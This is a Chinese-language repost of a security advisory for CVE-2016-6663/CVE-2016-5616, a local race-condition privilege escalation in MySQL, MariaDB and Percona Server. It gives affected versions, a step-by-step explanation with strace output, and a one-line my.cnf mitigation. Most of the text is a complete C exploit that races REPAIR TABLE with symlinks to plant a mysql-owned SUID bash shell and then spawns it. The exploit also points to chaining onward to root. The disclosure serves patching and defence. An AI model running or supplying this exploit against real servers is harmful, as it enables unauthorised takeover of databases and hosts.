MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞(附POC)

16-11-03 来源：[db:作者]

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漏洞发现人：Dawid Golunski

漏洞级别：严重

CVE编号：CVE-2016-6663 / CVE-2016-5616

漏洞影响：

MariaDB < 5.5.52

< 10.1.18

< 10.0.28

MySQL    <= 5.5.51

<= 5.6.32

<= 5.7.14

Percona   Server< 5.5.51-38.2

< 5.6.32-78-1

< 5.7.14-8

Percona   XtraDB Cluster< 5.6.32-25.17

< 5.7.14-26.17

< 5.5.41-37.0

漏洞描述：

Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞，该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户（通常是'mysql'）执行任意代码。成功利用此漏洞，允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。

漏洞细节：

基于MYSQL的数据库允许用户新建数据库，并且指定存储目录。例如：

attacker@debian:~$ mkdir /tmp/disktable

attacker@debian:~$ chmod 777 /tmp/disktable/

attacker@debian:~$ ls -ld /tmp/disktable/

drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

可以通过data directory参数指定存储目录为/tmp/disktable/

mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

执行完成后，查看下目录权限，变为mysql

attacker@debian:~$ ls -l /tmp/disktable/

total 0

-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

低权限（SELECT/CREATE/INSERT权限）的MYSQL账户，在执行表修复过程中，执行了不安全的临时文件创建。

mysql> REPAIR TABLE `poctab1`;

+----------------+--------+----------+----------+

| Table          | Op     | Msg_type | Msg_text |

+----------------+--------+----------+----------+

| testdb.poctab1 | repair | status   | OK       |

+----------------+--------+----------+----------+

通过查看系统调用，可以看到

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

[pid  1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65

[pid  1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)

[pid  1463] lseek(65, 0, SEEK_CUR)      = 0

[pid  1463] lseek(65, 0, SEEK_END)      = 0

[pid  1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0

[pid  1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66

[pid  1463] lseek(65, 0, SEEK_END)      = 0

[pid  1463] lseek(64, 0, SEEK_END)      = 1024

[pid  1463] close(65)                   = 0

[pid  1463] close(66)                   = 0

[pid  1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0

[pid  1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

[pid  1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0

[pid  1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0

[pid  1463] unlink("/tmp/disktable/poctab1.MYD") = 0

[pid  1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0

第一个系统调用是

[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

我们可以看到，在检验poctab1.MYD表文件权限的时候，也会复制在创建repaired表时的临时文件chmod()权限。因此在

[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

和

[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0

系统调用之间，产生了条件竞争漏洞。

如果攻击者删除临时表poctab1.TMD，然后通过符号链接在chmod()操作前替换/var/lib/mysql，则能够完全控制MYSQL的data目录权限。

攻击者可以预设置poctab1.MYD权限为04777(suid)，然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题，suid shell将指挥保留攻击者的UID，而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件，然而mysql表文件又不具有写权限。

可以通过新建一个具有组粘帖位（group sticky bit)的目录来绕过这个限制

新建/tmp/disktable/目录，并赋予组粘帖位（group sticky bit)

attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/

attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/

drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/

通过data directory参数指定存储目录为/tmp/disktable/

mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

Query OK, 0 rows affected (0.00 sec)

再次查看/tmp/disktable/权限

attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/

total 0

-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD

-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD

我们可以看到poctab2.MYD表已经是'mysql'权限了，但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

漏洞验证：

http://p9.qhimg.com/t0170249ca0bf68f688.png

http://p3.qhimg.com/t012b36519f36adf7e5.png

POC.

------------------[ mysql-privesc-race.c ]--------------------

/*

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit

mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

Discovered/Coded by:

Dawid Golunski

dawid[at]legalhackers.com

@dawid_golunski

http://legalhackers.com

Compile:

gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:

* On RedHat-based systems you might need to change /tmp to another public directory

* For testing purposes only. Do no harm.  

Full advisory URL:

http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define EXP_PATH          "/tmp/mysql_privesc_exploit"

#define EXP_DIRN          "mysql_privesc_exploit"

#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"

#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL     EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary

MYSQL *conn;  // DB handles

MYSQL_RES *res;

MYSQL_ROW row;

unsigned long cnt;

void intro() {

printf( 

        "\033[94m\n"

        "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"

        "mysql-privesc-race.c (ver. 1.0)\n\n"

        "CVE-2016-6663 / OCVE-2016-5616\n\n"

        "For testing purposes only. Do no harm.\n\n"

"Discovered/Coded by:\n\n"

"Dawid Golunski \n"

"http://legalhackers.com"

        "\033[0m\n\n");

}

void usage(char *argv0) {

    intro();

    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);

}

void mysql_cmd(char *sql_cmd, int silent) {

     

    if (!silent) {

    printf("%s \n", sql_cmd);

    }

    if (mysql_query(conn, sql_cmd)) {

        fprintf(stderr, "%s\n", mysql_error(conn));

        exit(1);

    }

    res = mysql_store_result(conn);

    if (res>0) mysql_free_result(res);

}

int main(int argc,char **argv)

{

    int randomnum = 0;

    int io_notified = 0;

    int myd_handle;

    int wpid;

    int is_shell_suid=0;

    pid_t pid;

    int status;

    struct stat st;

    /* io notify */

    int fd;

    int ret;

    char buf[4096] __attribute__((aligned(8)));

    int num_read;

    struct inotify_event *event;

    /* credentials */

    char *user     = argv[1];

    char *password = argv[2];

    char *db_host  = argv[3];

    char *database = argv[4];

    // Disable buffering of stdout

    setvbuf(stdout, NULL, _IONBF, 0);

    // Get the params

    if (argc!=5) {

usage(argv[0]);

exit(1);

    } 

    intro();

    // Show initial privileges

    printf("\n[+] Starting the exploit as: \n");



    system("id");

    // Connect to the database server with provided credentials

    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);

    conn = mysql_init(NULL);

    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {

        fprintf(stderr, "%s\n", mysql_error(conn));

        exit(1);

    }

    // Prepare tmp dir

    printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);

    umask(000);

    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);

    system("chmod g+s /tmp/" EXP_DIRN );

    // Prepare exploit tables :)

    printf("\n[+] Creating mysql tables \n\n");

    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);

    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);

    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file

    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory

    printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");

    system("cp /bin/bash " SUID_SHELL);

    system("ls -l " SUID_SHELL);

    // Use inotify to get the timing right

    fd = inotify_init();

    if (fd < 0) {

        printf("failed to inotify_init\n");

        return -1;

    }

    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);

    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

    printf("\n[+] Entering the race loop... Hang in there...\n");

    while ( is_shell_suid != 1 ) {

        cnt++;

if ( (cnt % 100) == 0 ) {

 printf("->");

 //fflush(stdout);

}

        /* Create empty file , remove if already exists */

        unlink(MYSQL_TEMP_FILE);

        unlink(MYSQL_TAB_FILE);

   mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);

mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

/* random num if needed */

        srand ( time(NULL) );

        randomnum = ( rand() % MAX_DELAY );

        // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink

        pid = fork();

        if (pid < 0) {

            fprintf(stderr, "Fork failed :(\n");

        }

        /* Child process - executes REPAIR TABLE  SQL statement */

        if (pid == 0) {

            usleep(500);

            unlink(MYSQL_TEMP_FILE);

    mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);

            // child stops here

            exit(0);

        }

        /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */

        if (pid > 0 ) {

            io_notified = 0;

            while (1) {

                int processed = 0;

                ret = read(fd, buf, sizeof(buf));

                if (ret < 0) {

                    break;

                }

                while (processed < ret) {

                    event = (struct inotify_event *)(buf + processed);



                    if (event->mask & IN_CLOSE) {

                        if (!strcmp(event->name, "exploit_table.TMD")) {

                            //usleep(randomnum);

    // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 

    unlink(MYSQL_TAB_FILE);

    myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);

    close(myd_handle);

    chmod(MYSQL_TAB_FILE, 04777);

    // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec

                            unlink(MYSQL_TEMP_FILE);

                            symlink(SUID_SHELL, MYSQL_TEMP_FILE);

                            io_notified=1;

                        }

                    }

                    processed += sizeof(struct inotify_event);

                }

                if (io_notified) {

                    break;

                }

            }

            waitpid(pid, &status, 0);

        }

// Check if SUID bit was set at the end of this attempt

        if ( lstat(SUID_SHELL, &st) == 0 ) {

    if (st.st_mode & S_ISUID) {

is_shell_suid = 1;

    }

        } 

    }

    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);

    system("ls -l " SUID_SHELL);

    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");

    system(SUID_SHELL " -p -i ");

    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");

    /* close MySQL connection and exit */

    printf("\n[+] Job done. Exiting\n\n");

    mysql_close(conn);

    return 0;

}

视频参考(作者随后上传）：

http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html

临时解决办法：

在my.cnf中添加

symbolic-links = 0

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